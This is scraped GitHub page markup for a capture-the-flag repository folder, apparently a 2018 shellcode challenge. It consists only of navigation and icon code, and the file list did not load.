aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> vakzz </span> <span>/</span> ctfs <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>2</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/vakzz/ctfs/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":121378338,"originating_url":"https://github.com/vakzz/ctfs/tree/master/Blaze2018/shellcodeme_hard","user_id":null}}" data-hydro-click-hmac="f005b327b31c0fe0c5e20af57c861ebccef1b99cceacdb204f8f95065b4a3c67"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/vakzz/ctfs/refs" cache-key="v0:1518524072.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="dmFrenovY3Rmcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/vakzz/ctfs/refs" cache-key="v0:1518524072.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="dmFrenovY3Rmcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctfs</span></span></span><span>/</span><span><span>Blaze2018</span></span><span>/</span>shellcodeme_hard<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctfs</span></span></span><span>/</span><span><span>Blaze2018</span></span><span>/</span>shellcodeme_hard<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/vakzz/ctfs/tree-commit/eeeda24c142b3747ced83b91868947e0cc32fca8/Blaze2018/shellcodeme_hard" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/vakzz/ctfs/file-list/master/Blaze2018/shellcodeme_hard"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 